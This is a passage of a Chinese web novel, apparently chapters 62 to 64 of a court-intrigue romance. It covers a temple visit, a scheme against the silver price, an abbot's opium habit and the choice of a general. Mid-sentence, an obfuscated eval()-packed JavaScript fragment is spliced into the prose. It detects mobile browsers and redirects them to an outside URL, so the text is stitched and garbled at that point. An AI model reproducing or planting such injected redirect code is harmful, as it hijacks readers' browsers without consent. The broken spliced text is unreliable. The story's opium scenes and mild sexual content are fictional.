晴空万里的时候,他们只是面对长生天跪拜,然后念两句经文,以祈平安,等到狂风骤起,暴雨如注之后,旁人连忙赶着牛羊群躲避,而他们则欣喜若狂的冲出帐篷,在大风大雨中幕天席地、狂奔乱跑! 总之,赵毓见多了这些,心思就活,再加上他本性又乖张,他对于十六天魔舞的兴趣更甚于佛经上精妙的谒语。 空镜寺的住持看着很年轻,身上的破棉袈|裟已经看不出底色。 此时,禅房中,他正在烹茶。 赵毓凝神静气的看了一会儿,忽然问他,“住持长老,您是不是掐指一算,知道我们今夜上山门找您化缘,所以,您特意从箱子底找出这么一件破乱袈|裟穿在身上,好让我没脸开口?” 闻言,年轻的住持拿着粗陶茶器的手指都凝固了。 “祈王爷,多年未见,你还如当初一般,半点未曾改变。”住持长老静悠悠说完,斟了两盏清茶,一盏放在文湛面前。 听到这句极其蹊跷的话,赵毓仔细看了看大和尚的面相,赶忙揉揉眼睛,又认真瞧。 他的眼睛珠子都要快贴在大和尚的面皮上了。 “老二?”赵毓惊语,“你还活着?” 这位看起来已经涅槃过的主持大师,居然是先帝二皇子、原宁王摇光! 说起来,二皇子摇光同赵毓也算是总角之交。 他们小的时候一起在毓正宫读书,当时二皇子摇光跟从他母妃修佛,每天只吃素,赵毓的食盒里面全是他娘亲手烧的红烧肉,不是御膳房出的,所以格外香甜。 中午的时候他们在一起吃饭。 当年二皇子毕竟年幼,对佛祖的诚心还不够抵御一块红烧肉的诱惑,可是他母妃派来的小太监就在眼前,眼定定的看着他,他也不敢随便从赵毓碗中夹肥肉,于是只能沉默的吃着自己的素斋,一不小心,米饭卡在脖子里面,咳咳咳,等到大家手忙脚乱的拍前胸,打后背的帮他顺过气来,那粒饭粒就从他鼻孔里面钻出来了。 二皇子的母妃吓坏了,勒令二皇子不能再和赵毓在一起玩,连吃饭都不让在一起了。 其实他们谁都不知道,当时赵毓偷偷喂给摇光红烧肉吃,摇光吃的很香。 过了年,二皇子的亲娘要带他到很远的地方修佛,而皇妃自己也要了却尘缘,坠入空门,美其名曰‘为国祈福’。 当年先帝摆出了盛大的依仗相送,并且相当恰到好处的表现出雍容华贵和对皇妃‘为国献身’的钦佩,感激以及依依不舍之情,镐川之滨的相送,颇有‘执手相看泪眼,竟无语凝噎,念去去千里烟波,暮霭沉沉楚天阔’的凄凉,众位大臣看了,都不免落泪,还默念着——多情自古伤离别。 当年文湛才六岁,却因为是储君,一直站在先帝的銮舆旁边。 他看到了那是还是皇长子的赵毓。 那时,赵毓没有穿皇子的服色,也没有带皇子仪仗,很多人不知道他的存在。 当年赵毓一直看着摇光离开。 他不明白,为什么摇光要离开,为什么大家要分离? 为什么人会有聚散离合? 如果没有分离,大家就会热热闹闹永远在一起,多好! 赵毓问先帝: ——“父皇,你为什么要把二弟的娘送给那些大和尚们做老婆?连带着把二弟也送给人家做儿子?这娶老婆生儿子就好像是父皇你买了地,你自己耕种,累死累活,气喘如牛,好不容易耕了地,撒了种子,结出瓜果梨桃,自己还没有享受几天呢却送给别人了……” 原来在赵毓心中,做尼姑就是于和尚成双成对。 先帝当时正在喝茶,一口水呛到嗓子里面,茶水泼到脚下,吓得司礼监掌印大太监李芳连忙拍皇上的后背,一直追问,用不用唤太医过来。 先帝气的指着赵毓直骂: ——“不肖子,赶紧滚下去,朕今天不要再看到你!” 最后,不忘口气软缓的来一句:“你明天晚上再过来吃点心。” 从那之后,二皇子摇光一直在五台山带发修行。 后来,他又回了禁宫。 摇光的脾气那个时候就变了,他就和那三千诸佛,诸般繁华一模一样——如梦幻泡影,如露亦如电。 在赵毓看来,这个人说好听点,是他不是凡人,有灵气,说难听点,就是他脑子有病。二皇子披头散发念佛经,看完之后大笑四声,接着就把自认为精妙的地方一页一页扯下来,扔的满地都是。 那些佛经都是用天城文写的,一个一个字都是曲里拐弯的,长的跟天坛北墙根儿卖的鱼虫一样,除了摇光和他那个从小修佛的皇妃妈,整个大正宫就没有第三个人认识。 后来不知道怎么地,摇光彻底失去了踪影。 一直到十四年前,宁王领了先帝圣旨,领兵回京勤王,众人才知晓,这位受封边疆,驻守宁州的宁王居然是二皇子摇光!圣旨被赵毓偷换了,当年带出雍京城的,仅仅是一封用胶漆封死的白色卷轴。宁王箭在弦上,不得不发,他的兵马强度黄河,重兵围住雍京城。此时,先帝却下诏退位,将帝位传于太子文湛,诏书上甚至明示,雍京城外宁王兵马无诏入京,等同谋逆,号召天下共讨之。从那之后,宁王下落不明。有人说宁王逃匿了,有人说宁王被裴檀亲自斩杀于镐川之滨,也有人说,宁王携爱妾泛舟五湖上,学范蠡西施一般。总之,传说的纷乱复杂,彻底掩盖了真实。 此时,赵毓再次看见摇光,他已经不是当年那个宁王,也不是当年的二皇子,此时的摇光已经彻底剃度,皈依佛陀,成为空镜寺的住持大师。 只是,他们见面,却又是如此的怪异。 摇光是真真正正的皇子,却平淡的称呼赵毓这个先帝假儿子为‘祈王爷’;而赵毓,这个曾经冒牌的大皇子则称呼摇光这位皇子为‘主持大师’。 难道,事在人为之上,当真有天命? 不然,为什么,人总是被看不见的命运拨弄着,蒙着眼睛乱走呢? “大师,我不是什么祈王爷,我是赵毓。” “还是称呼你为祈王爷吧,这个称呼当中有几分儿时的情谊在,不然,……”住持将面前另外一盏清茶,轻轻推到赵毓面前,“你我就是仇敌。” 现在,摇光不再是先帝二皇子,也不再是宁王,却是空镜寺的住持摇光。 他的名字居然依旧。 摇光知道皇帝与赵毓过来的目的是什么,他将寺庙的账目取出,赵毓仔细看了一遍,有些吃惊。 “果然,上得山门一趟,长八方见识。” 赵毓原本以为空镜寺仅仅因为拥有万亩土地而家底雄厚,没有想到,这里以典当、拍卖、借贷和彩票这四种方式已经积累了大量的白银,其中几家当铺在雍京城都很有名气。 住持摇光问他,“二百万两现银,够吗?” 赵毓摇头,“昨天足够,今天不够。现在雍京银价飙涨,自古以来户部没有开仓放银的惯例,所以这件事情他们不能做。但是,不能任由银价这样涨下去,总需要有人放银压银价。住持大师,您手中有多少,我都要。” 摇光却看了看文湛,他被迫在空镜寺中剃度出家,就像被困在牢笼中一般,也是多年未见文湛。 他们是真正血脉相连的兄弟,此时面对面坐着饮茶,却是,一如既往的陌生。 “千年皇家寺院,多年惨淡经营,才留下这些家底。”摇光问赵毓,“祈王爷,难道你想把祖宗留给子孙的福报全部折损在雍京这一次白银之役?” 赵毓摇头,“我只说开仓放银压白银的价格,我可没说让空镜寺倾家荡产。” 摇光微微皱眉,“怎么说?” 赵毓,“雍京西城有赌|盘。一群手持重金的豪族在那里赌银价的涨跌,只要十分之一的现银押注就好。以现在这个行市,赌涨,一赔二;赌跌,一赔十!只要我们手中有足够的白银,这边开仓放银打压现银的价格,那边下重注买白银价格跌,只要打下白银的价格,不但不会赔钱,应该会狂赚一大笔。我不担心别的,只是担心,佛祖是否甘愿赚这样的缺德善缘?” 将要到三更,夜空开始落雨,山上格外阴冷。 寺庙的膳食所准备了素斋,山药和蘑菇炖的香米饭,新做的豆腐,还有开水烫的初秋生的一种小青菜。最后放在瓷盏中的则是清茶汤,这也是后山一个不起眼的小山窝中种植的茶树,炒制的清茶,味道与狮峰龙井无法比拟,这里的茶带着一丝丝的清苦味道,仿若常伴古佛之旁那一代一代寂寥的身影。 这顿斋饭,赵毓吃的心不在焉。他只吃了几口,就放下筷子。 文湛端着碗,一口一口,慢慢咀嚼着。 “摇光,他,……”赵毓支吾了一下,没有继续说下去。 文湛,“你想知道,他为什么会活着?” 赵毓点了点头,“嗯。” 文湛,“他又没有犯大错,活着就活着吧。” “可是,他知道先帝写过诏书。”赵毓,“先帝他,想要废黜你的太子之位。如果有人知道这封诏书曾经存在过,会对你有不好的传闻。” 文湛淡淡喝了一口清茶,“他知道就知道吧,也没什么。” 随后,他给赵毓夹了一块豆腐。 “他的名字已经死了,无论是先帝皇子,还是宁王,都已经不复存在了。如今的他,仅仅是个永生永世无法下山的住持。他,活着还是死了,又有什么区别?”说这话的时候,文湛的声音如同茶汤一般,清澈见底,却是苦的。 赵毓忽然记起几个时辰之前,在诏狱,崔珩也说过: …… “不一定。景氏这个儿子,即使是假的也有用。杀了他,坐实了景氏谋逆的罪名,并且宣布景氏一族男丁具亡,烧毁景氏的族贴,如此这般之后,景沢也好,景庴那个遗腹子也好,全部都与死人无异了。” “身在王畿,手握权柄,为的就是有这些便宜事情好做。” …… 果真,手握政权,占尽天下便宜。 赵毓喃喃说着,“我没想到,他还能活着,他,……” 文湛的手指忽然缠在赵毓的脖颈间,“既然到了佛门清净之地,我们也修一修禅法。” 赵毓,“修什么禅法?” 文湛的嘴唇印在赵毓的耳垂上,“欢喜禅。” 赵毓,“……” 他躲了一下。 “别,……” “怎么?” “心里有事,没兴致。” 文湛的手指在赵毓的耳垂上,他那里很软,“那更应如此,给你发发汗,一会儿就睡沉了。” “文湛,听我说,……,我感觉有些,……” “别乱想。空镜寺的白银不够,还有户部,还有禁宫,还有内库。”文湛的手指轻轻扣住了他的下巴,亲吻绵密的压了上来。“雍京如果有乱象,调户部的存银天经地义。” 赵毓,“可是,……,这违背祖制。” “承怡。”文湛轻轻咬住赵毓的咽喉,“你有没有想过,万载千秋之后,我也是后人口中列祖列宗的一个。我说过的话,也是后人子孙的祖训?那块’敬天法祖’的匾额,是给世人看的,不能被它压制住心志。” 赵毓,“你这么乱来,不怕死了以后进不了宗庙?” 文湛一把抄起他,直接压在禅床上。 “宗庙?”文湛的声音带着雨夜的悠远,隐隐有些冷淡,“大郑没有遵循周礼,采用嫡长子继承大统的制度,你知道这是为什么吗?” 他的手指,沿着赵毓的面孔一点一点描画着。 “这是堙没在历史中的传 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房屋的栋梁都是旧料,却是楠木的,可以历经千年而不朽。轩窗正开,可以看见外面幽暗的雨,与浓墨无法化开一般的夜空。 赵毓起身,轻轻下床,文湛依旧在睡,他自己穿好衣服,轻轻推开门。 外面,寺中人已经开始早课。 他沿着台阶下去,拐过一个莲池,就是住持的禅房。 ——应该和摇光说一些什么,…… 赵毓脑子中有这个想法,只是脚步却无法迈开。他正在这里踟蹰犹豫着,却看见那边的房门已经打开。 有小沙弥走出来,轻轻关上身后的门。 只是,…… 屋子中有一股奇异的香气缭绕,透过夜雨,传到赵毓面前。 他忽然开始心惊肉跳。 赵毓快走了两步,推开被小沙弥关闭的门,他站在禅房外面,向屋子里面望去。 摇光侧躺在榻上,身边一个托盘,里面点燃一盏灯。 他手中拿着一根烟杆。 黄铜包金的内杆,外面包裹着珐琅,配羊脂玉的烟嘴,烟枪杆子上还镶嵌着一个六角红色水胆玛瑙的烟锅。 这是,…… 鸦片烟枪。 世上有一种花名为罂|粟,绚烂华美,妖娆多姿。 花谢之后,会结出圆润的果实。 在果实没有成熟之时划开果皮,流淌出白色犹如牛乳一般的汁液,它干燥之后,会变成黑色,这就是阿芙蓉。 再经过密炼,形成药膏一般的东西,就是鸦片。 阿芙蓉药酒可以镇痛,可以迷幻,是疗伤时无法忍痛的人的良药,也是一些崇尚魏晋风流的寒食散的王公贵族们的药石。 郑人用阿芙蓉已经很久了。 服用这种药,久了,会有瘾症,只是,平常人也不是很容易成瘾。 但是,鸦片不一样。南洋商人带来一种产自苏门答腊的烟枪,专门用来烧鸦片烟,普通人很容易成瘾。 赵毓原本以为鸦片烟枪应该只在广东这种与南洋通商比较频繁的地方,没想到,在雍京的空镜寺,这座千年古刹,居然看到了。 更甚,拿着它的人,居然是摇光! “会烧烟泡吗?”摇光看见赵毓进来,问了一句,“听说你一直在西北,那里有几个地方的师傅好,烧的烟泡也地道,还有一堆名堂,什么‘官上加官’,还有‘公侯万代’,你没试试?” “没。”赵毓走进去,脱了鞋子,盘腿坐在床榻上,就在摇光的对面,低头看着他,“我还想多活几年,不能沾这个。染了这个,就人不像人,鬼不像鬼了。” “也对。” 摇光放下烟枪,就着眼前的这盏灯,看了看赵毓:——陌生,甚至比看见皇帝更加陌生。 他记得赵毓小时候的模样,和现在不太一样,当年他长的特别秀气,不像现在,里里外外透着一股子,……,说不上的东西。 只除了左眼下面的那颗泪痣。 只是,摇光记得,当年那个是黑色的,现在成了红色。 还有,…… 赵毓咽喉处有一对儿类似蝴蝶一般的紫色瘢痕。 “戒了吧。”赵毓说,“我有草药方子,虽然要煎熬几个月,但是总比一辈子毁在这上面强。” “只要有上好的烟土,一直不断,没事。”摇光却说,“现在那些极显贵的王公,有一些也吸这个,雍京有烟馆。” 赵毓,“我不知道。” “同道中人都知道,你又不是‘同道中人’。”摇光,“烟泡难烧,家中小厮不会做这个,那些人就去烟馆。王公们则买了人放身边专门伺候,刚才出去那个小沙弥就是我买的,他是潮州人,烧烟泡的手艺不错。” 赵毓,“烟馆在哪里,我去看看。” 摇光,“怎么,想去剿了?” 赵毓笑了一下,“我以后就要在雍京城踏踏实实的过日子了,这里卧虎藏龙,既然我想长住,那么什么码头都要拜拜才对。” “假话。”摇光也笑了,又说,“烟馆就在南城。东家你也认识,就是沈臻。” 赵毓当然认得沈臻。 当年一起从西疆十六国走过货,只是这个姓沈的没有赵毓那么多讲究,他是人也贩,烟膏也贩,所以,没多久,他们两个人看明白对方都不是同道中人,于是分道扬镳。 说起来,也快七、八年没音信了。 赵毓没想到沈臻也到了雍京,还开了烟馆。 “上好的烟土只能管几年,你的瘾症会越来越深,早晚有一天,再好的烟膏也不够好,那个时候,谁都救不了你了。摇光,戒了吧。” 摇光冷笑,“跟一个濒死的人说这些,没用。” 赵毓反问,“你快死了?” 摇光,“我现在这个样子,跟死了又有什么不一样?” “终究不一样。说实话,我曾经见过自尽但是对自己手软的人。跳河了,嫌弃河水太凉;上吊了,又嫌弃脖子抻的太疼;最后幸好没喝鸩酒,不然,就算再嫌弃那酒太苦,喝进肚子中也吐不出来了。” 摇光从床榻上慢慢做起来,赵毓扶了他一把,随后,以平淡的口吻开始说话,好像一个絮叨的念经的老太太。 “老二,说实话,你当年要是死了,那就一了百了了,既然活着,那就好好活着吧。弄个半死不活的样子,没劲。” 摇光忽然问了一句,“皇帝过来看雍京西端的军事布防,为了什么?” 赵毓,“看布防?怎么会?圣上只是过来化缘的。” 摇光单刀直入,“他想要看看雍京的防卫,究竟能承受多大的风浪。难道,皇帝想要废除边镇将军的世袭制,彻底清除‘藩镇’的隐患?” 赵毓没说话。 他只是摸了摸那杆鸦片烟枪,水胆玛瑙在摇曳的灯光下,红的有些惊心动魄。 63. 63 63 文湛醒了,下意识摸摸身边,——空无一人。 他陡然之间坐起来,有一种不知身在何处空茫。 心跳的有一些血腥味道。 等他强迫自己缓和平静了一下,看了看禅床,——两个枕头,身边的位置虽然是空的,却留着一根头发,被子下面,也有温凉的触觉,湖丝的单子有些皱,还有那个人的气息,好像烈酒中的清水一般。 他披衣下了床榻。 外面有人伺候,他们为他指了路。 许是一直在下雨,黎明之后,天空依旧不甚清明。 文湛沿着回廊向外走,不远处,他看见赵毓坐在石头台阶上,面前是一堆火,而他的脸庞在火光中散着润泽的光。 他觉得自己的一生就是一条异常漫长的夜路,而承怡,则是一盏灯。 就像现在。 他穿过长长的,雕梁画栋的金丝楠木回廊,彼端,那人生了一堆炽热的火,在等他。 赵毓听见脚步声,回头看到是他,先是笑,随后,被文湛用一件轻狐裘裹了。 一道亲吻压了下来。 狂暴的犹如百川沸腾、山冢崒崩。 好久,文湛才平静下来,挨着赵毓坐着,轻声问了一句,“怎么起这么早。” “半晚上没睡着。”赵毓说,“刚才我去看了老二,他吸鸦片烟。” 文湛缓缓点了点头,“不止他,徽郡王,还有其他几位似乎也喜欢那个东西,都是一些被王爵富贵腐蚀了骨头的人。” 赵毓,“鸦片这东西很邪性,会上瘾,要是被人拿出来为祸人间,……” “不会。”文湛斩钉截铁,“至少,现在应该不会。” 赵毓,“为什么?” 文湛,“太贵。” 过于高昂的价格可以把很多人挡在远处。 只是,虽然接受的人极少,身份却极贵重,所以鸦片的贩卖也给贩卖者积累了难以想象财富。 沈臻! 赵毓想到这个名字,两道眉不自觉的皱了皱。 “文湛,……” “怎么?” “老二说,你来空镜寺是察看军务。” “嗯。” 赵毓,“老二还说,你要对藩镇对手了。” 文湛冷冷笑着,“他知道的真多。”随后,他看着赵毓,忽然又问,“在做什么?” 赵毓拿着木棍拨拉拨拉火堆,“饿了,烤两个地瓜。” 文湛,“有我的吗?” “有的。”赵毓想了想,“不过,你昨晚吃了一碗山药炖饭,为什么还会饿?” 文湛,“我饿了,理所当然。这话应该是我问你才对。” 赵毓,“问我什么?” 文湛,“昨晚出力的人又不是你,你怎么会饿?” 赵毓拿着木棍继续拨拉火堆,一下,两下,三下,…… 最后,他忽然笑了。 那种温度,比火还要炽热。 赵毓说,“我们分开过十年,如果一直在一起,到了今天,你就不会,……” 文湛反问,“不会什么?” “不会这么粘人。”赵毓,“要是我们一直在一起,你早该腻了。” “不会。” 文湛的声音虽然轻却依旧是斩钉截铁,没有半分犹豫! 随后,他慢慢靠近赵毓的耳边,接下来的话,似乎不适宜看着他的眼睛说,也似乎根本不可对人言。 极轻。 如同一片凌翅鸟的尾羽飘落于红莲池水之上。 “你才是鸦片。承怡,我早已经上瘾,根本无法戒除。” “……那事……” “一次比一次沉迷,一次比一次更甚。” 赵毓耳朵发热,面孔烧的好像烤到甜腻的地瓜。 只是,他忽然想到了什么,微微侧脸,躲开了贴合上来的亲吻。 文湛,“怎么了?” 赵毓,“文湛,户部的存银还是不能动,那样动静太大。你想要彻底消除藩镇,雍京必须稳,户部也必须有钱,绝对不能掏空。我知道哪里有大量的白银了。” 文湛,“远吗?” “不。”赵毓说,“就在雍京。” “好。”文湛,“即刻下山?” “不忙。”赵毓用木棍把两块烤好的地瓜拨拉了出来,“老二他大方,一出手就是二百万两,正好解围。我再在这里多待一下,省的现在下山,那些人看见我再另外生心机,节外生枝。” 说着,他递给文湛一块大一些的地瓜,外皮已经焦糊,带着烤糖的甜味。赵毓在吃食上心思不如文湛细,经过他手的东西卖相都不太好,可是文湛不同,他会很仔细的把外皮剥开,剩下的东西绝对秀色可餐。 “也好。”文湛接过来,仔细剥开地瓜的皮,露出里面已经甜软的瓜瓤,喂了赵毓一口,“你在这里,正好可以看看雍京西端的防御。” “我?”赵毓吃的正甜,一听这个,愣了一下。 “怎么。”文湛接着赵毓吃过的地方咬了一口,“吃了我的东西,为我做一些事情也不好吗?” “可是,……”赵毓又被喂了一口,甜腻腻的堵住嘴巴,真是吃人家的嘴短,他无法再大言不惭的说‘不’,他倒是没有想清楚,这两个地瓜明明他自己烤的,怎么文湛一剥皮就变成‘他的’了呢?于是,只能转而言之,“我知道的那些,父皇肯定都教过你。除了那些之外,我什么都不知道了。” 文湛却说,“我想要的不是纸上谈兵,而是相人。” 赵毓,“相人,这个很难,究竟要相什么人?” 文湛,“你见了就知道了。” 裴檀进空镜寺的山门,转过大雄宝殿,再到楠木回廊,正看见尽头的蟠松下有两个人,坐在石台阶上。 此时。 赵毓胃口不算好,吃到这里,感觉有些饱腹,就对着文湛喂到嘴边的东西摇头。 文湛把剩下的那半个地瓜吃干净,又拿出丝绢手帕把赵毓的双手抓过来,给他一根手指、一根手指的擦干净。 赵毓抬头,正看见裴檀,“定国公?” 于是,笑着说,“这位先帝曾经御笔亲批‘子乔有知人之明、谋国之忠,可谓千里驹’,他命格贵,我可不敢相他。” 裴檀走过来,刚好听完了赵毓的话,他先是向文湛行大礼,随后以波澜不兴的语气对赵毓说,“无法与王爷相比。您幕府人才济济,帐下谋士辈出,猛将如云。” 虽然他这话说的面无表情,可是裴檀当面又称呼他‘王爷’,赵毓知道,他肯定没好气。 裴檀带来两摞书简,是多位官员的资历。 文湛在外,没有进去。 而裴檀与赵毓到禅房室内,他对赵毓说,“陛下要选可以驻守阴山南北以及雍京西端的将军,当然,最重要的位置则是雍京。” 阴山以北,大漠戈壁为樊篱屏障;阴山以南则是嘉峪关到娘子关。 这是抵挡漠游牧蛮族进犯的生死线,位置自然极重。 而雍京,则是京师王畿,更是重中之重。 赵毓一封书简一封书简看了一遍,发现,其中大部分人都有西北军的背景。 果然有误会。 裴檀以为他趁机培植与安插自己羽翼。 “裴公爷,这些人的书简既然能到您面前,也就说明其实他们的资历是足够的。再说,……”赵毓低头浅笑,“这些,也不是我的私人。他们做的是朝廷的官,不能因为仅仅只是在西北军中效过力,就认为和我有什么瓜葛吧。” “王爷,不要打官腔。”裴檀有些不以为然,则说,“我查过吏部历年的保举奏章,这些人,有很多都被王爷您请过功的。” “那又怎么样?”赵毓继续随手翻动书简,一份一份,一章一章,看似随心,其实都仔仔细细的看着,“战场上让人家用命,过后没有厚爵之禄,那可真是一锤子买卖了。人都不傻,如果想要让长久一些的卖命,至少要兑现一些承诺吧。” 裴檀也不是翰林院那些清贵文人,自然知道这个道理。 此时,他只是想要旁敲侧击赵毓一下。 这位前亲王目前的地位十分微妙。 原本,裴檀在得知黄棕菖时常进出玉熙宫与祈王府的时候,他以为赵毓会很快恢复亲王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728921|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的爵位,现在看来,这些都是清风吹过雍京城一般,没有任何下文。 他不知道是赵毓对‘亲王’不再感兴趣,还是其他什么原因。 难道,…… 大郑将要册封一位男皇后? 当今圣上可不像这种剑走偏锋,不管不顾的人。 如果说当年的赵毓还在雍京做亲王的时候是没有实权的王公,仅仅凭借先帝的宠爱与当今天子的深情而地位显赫,现在的赵毓则距离‘位高权重、权倾朝野’似乎仅仅只有一步之遥。 ——名分。 一个正式的名分。 这个名分可以是亲王,也可以是,…… 赵毓不知道裴檀心思诡异,他一直低着头,随后,挑出一份很单薄的书简,“裴公爷,举贤不避亲,我不能因为此人曾经在敦煌做过文官就可以避开此人。我觉得,这个人,只要机缘天顾,他绝对可以建立大功业。” 裴檀一看书简上的姓名,心中一动。 昨天,他在楚相府邸,拿着这些官员的书简挨个询问楚蔷生的意见,当时,楚蔷生挑拣出七个人的名字,其中放在最顶上的一封,就是眼前这位。 白策,字汀州, 平白无奇的名字,平白无奇的出身,平白无奇的履历,平白无奇的功业。 这位似乎除了曾经是十七年前的三甲进士,不知道钻营了谁的门路,随后居然入选翰林院成为庶吉士,除此之外再无亮点。 不过,能进翰林院就是好资本,庶吉士号称“储相”,大郑内阁的阁臣大多出身自此。 裴檀问,“这位,有什么不世出的才分让王爷如此看重?” 赵毓乐了一下,“裴公爷,你我远日无怨今世无仇,大家好好说话不成吗?” 裴檀一听,发现赵毓误会了,他这次说话是真心的,绝对没有半分嘲讽。 他想要解释,却不知道应该怎么解释。 赵毓也没想听他解释,开口说道,“我到不是说他有什么经天纬地的才情,说实话,白策这个人在敦煌有个外号‘慢骆驼’,就是说他做事情慢的狠。不过,这个人踏实。身在官场,却以道学先生要求自身。每日早起,写大字二百,温读经书,翻阅史书,还经常写诗,虽然写的不太好,但是他写的多。我估计,这位要是坚持到现在,没准能写小半本《全唐诗》了。此外,他不止对那些八股文章、四六骈文、诗词歌赋有兴趣,他对眼前的事情,对现实的事情都有兴趣,并且看书也是百无禁忌。他除了圣贤书,连佛经算命占卜八卦,外加如何种瓜果梨桃地瓜土豆的农书也通读。他还爱交朋友,这次在西北,他应该攒了一些银子,回到雍京都接济了当年一起登科还在苦哈哈熬日子的同僚们,一直跟老婆孩子租了一个小院子,挤在一起。上次我回来的时候还给他带了四百两银子,他刚好换了一个大一些院子,地段不好,但是好歹是独门独院,清净,他还让老婆给我腌了一坛子酸黄瓜。” “不过,他最好的地方,就是性格坚定。他以庶吉士文官的身份去西北,吃尽了苦头。刚开始因为战事不利而三次想要自尽,每一次都是跳河,淹死到一半自己爬上来,用一块破布擦干了脸,事情继续做,仗也继续打,居然还真被他熬到了战事休止的这一天,也是有趣。” 此时,赵毓又是一笑,“不说了,再说下去,裴公爷又该嘲笑我谋私了。” 裴檀却没有‘嘲笑’赵毓,其实,他有些意外。 昨日,楚蔷生对白策的评语也是这几样,只不过说的文雅一些,“白策此人,真道学。修身有法,初有决定不移之志,中有勇猛精进之心,末有坚贞永固之力,非一般人。” 不过,他转念一想,也不意外了。 赵毓曾经师从楚相,他们有时看法一致,也是平常。 裴檀收拾好书册,自认为相当有诚意的对赵毓说,“多谢王爷,我知道了。” “既然我给你推荐了这么好一个人,裴公爷就别开我的玩笑了。”赵毓说,“您也知道,我不是什么王爷。要是你不见外,叫我老赵就好。” “不。”裴檀将白策的书简放在最顶上,准备见文湛,他却说,“您是王爷,永远都是。” 64. 64 64 文湛离的远了一些,他在外院见了几个人。 这几位,有一些是他当年在东宫时候的旧人,有些,则是先帝在位时期的老臣子,还有一些则是改元之后的新贵。 现在,无论他们出身如何,都是防御雍京的武将。 皇帝大约问了问雍京的防务,大抵不错,按照平日的标准,甚至可以说得上的‘好’,只要没有大乱,雍京就平安。 日子太平,雍京也太平,只是,这太平日子久了,有些人,有些人做事就松散了。 ——不知道是不是他过于刻薄,他怎么觉得驻守雍京西门的这位总兵似乎比上次见的时候,肥了两圈? ——难道是因为这位最近总是勤于吃饭,而荒于练兵? 这几位心中有些忐忑。 他们见皇帝问的东西同微音殿上大同小异,他们回答也是中规中矩,皇上听了,说不清楚是高兴还是不高兴,仅仅就是‘好’‘不错’‘朕知道了’,这几样回应。 其中那三位老将曾经跟随过先帝,他们尤其感觉到心中没底。 他们祖上是鲜卑人,后世居雍京,京师的软绵繁华暂时还没有泡软了骨头。当年他们还年轻,在先帝面前也是一股‘盖世英豪,儿郎虎豹’的豪迈,但是面对今上,总有一种说不出来的胆怯,甚至,还有一丝隐藏极深的恐惧。 这位天子‘生于深宫之中,长于妇人之手’,却没有寻常贵介子弟的外在骄奢狂傲、内在胆怯虚弱。即使这几位老将自认是豺狼虎豹,天子却不是另外一种更为强壮狡猾凶狠的野兽。 皇帝是猎人。 还有,洞察。 入微秋毫一般的洞察,这才是他们真正胆怯恐惧的根源。 文湛问清楚他想要知道的事情,就让他们下山了。 ——果然,雍京城可以抵挡一般的风雨,却无法抵挡来自西北真正的反叛与暴|乱。 ——如果,他想要彻底拔掉那些‘藩镇’的根基,势必激起那些人誓死抵抗,也许会有兵灾,他必须将这种动|乱的灾祸压到最低,也必须确保雍京这一带万无一失。 ——他需要这样一个人。 此时,裴檀到皇帝面前。 他先是把‘白策’的书简双手呈上,随即将方才赵毓对他说的话,如实复述一遍,同时也说了昨日见到楚蔷生,楚相对于白策此人的一番说辞。 文湛倒是听说过白策,多年前,他还在翰林院的时候,也曾经见过一两面。 不过,他对于这个人的了解也仅仅止于此。 虽然说他是天子,虽然说普天之下莫非王土,率土之滨莫非王臣,但是很多人,很多事,对于他,仅仅是奏疏上的一、两行字;有很多甚至连这些分量都不够,仅仅是一个名字,一个符号而已。 如果不是承怡,不是楚相,他也不会注意到这位,——当年因为穷困潦倒而无法在雍京生活下去,就前往西北敦煌军中谋取一个职位,赚一些银两回来接济同僚,回老家买地的前翰林院编撰。(吏部履历上的明文) 怪不得承怡曾经说过——人,才是这个世上最复杂、最善于伪装、最善变的。 嗯,承怡。 ——“难道,陛下以为草民赵毓顽劣,不堪帝王良配?” 想到承怡说过的这句话,文湛忽然浅笑了一下,极其温柔,极其甜美,像是窖藏了千年的蜜果子酒,可以融化世上最冷酷的心。 帝王良配,…… 帝王良配! 其实,承怡对他来说,就是承怡,他是否顽劣,是否不堪都不要紧,只要他是他就好。 如果,承怡仅仅是一只金丝雀,他会为他打造世上最好、最美、最安全、最温暖、最适宜的黄金牢笼,让他平安的度过一生。 如果,他不是,…… 文湛将白策的书简放在裴檀恭敬高举的双手上,“着缇骑暗中彻查白策。” 裴檀知道,此话一出,昭示着君心已定。 此人堪当大用! 禅房中,黄棕菖拿着天山雪莲炼制的药膏给赵毓涂抹脖子。 咽喉上那么大一块蝴蝶印记,青紫青紫的。 “祖宗,哎,悠着点,真的要悠着点,……” 黄棕菖感觉自己好像一个蛇蛇蝎蝎的老太婆,对赵毓说的都要口干舌燥了,这位祖宗依旧不管不顾。他原本以为是那位主子做和尚久了,一旦沾点肉腥就没了章法,后来伺候久了,他这才知道,罪魁祸首就是眼前这位!这位活祖宗真折腾起来,圣人都抗不住,何况那位主子还情根深种? “心里有点事,烦的狠。”赵毓不理黄棕菖这个话茬,另说,“黄瓜,我总觉得雍京城银价要出事,而且是要出大事。” 黄棕菖一摊手,“您不是有高招了吗?等下山,到那个啥地方,抄了他们的银窖,多弄些现银到西城下注,就买银价跌,那还不得把现银的价格打到脚后跟去喽?” 赵毓一听,就拍了拍黄棕菖的脑袋瓜子,不咸不淡的说,“黄瓜,我看你这个司礼监秉笔大太监做久了,脑子都要被朱砂塞住了。瞧你这话说的,一张嘴就抄家,这话真轻巧,那这天下还有王法吗?” 黄棕菖不以为然,“他们不是卖那个什么鸦片吗?那可不是好东西,我见过徽郡王吸这个,他也想戒,结果弄的身子骨虚掏,大脸蜡黄,全身骨头就跟千万只蚂蚁啃咬一样,但是没法子,他戒不掉,只能再吸。开烟馆的都不是好人,好人哪能吃这碗饭?” 赵毓点头,“这话说的不错。可是,咱们大郑国法可没禁鸦片。那些人,虽然做的是断子绝孙的勾当,却不犯王法。” 黄棕菖听着也是这个理,就点了点头,他坐在赵毓对面,“那,祖宗您说怎么办?” 赵毓则说,“先不说这个,鸦片这个事情目前还不是心腹之患,我怕的是,万一雍京银价被打的过低,也要出乱子。” 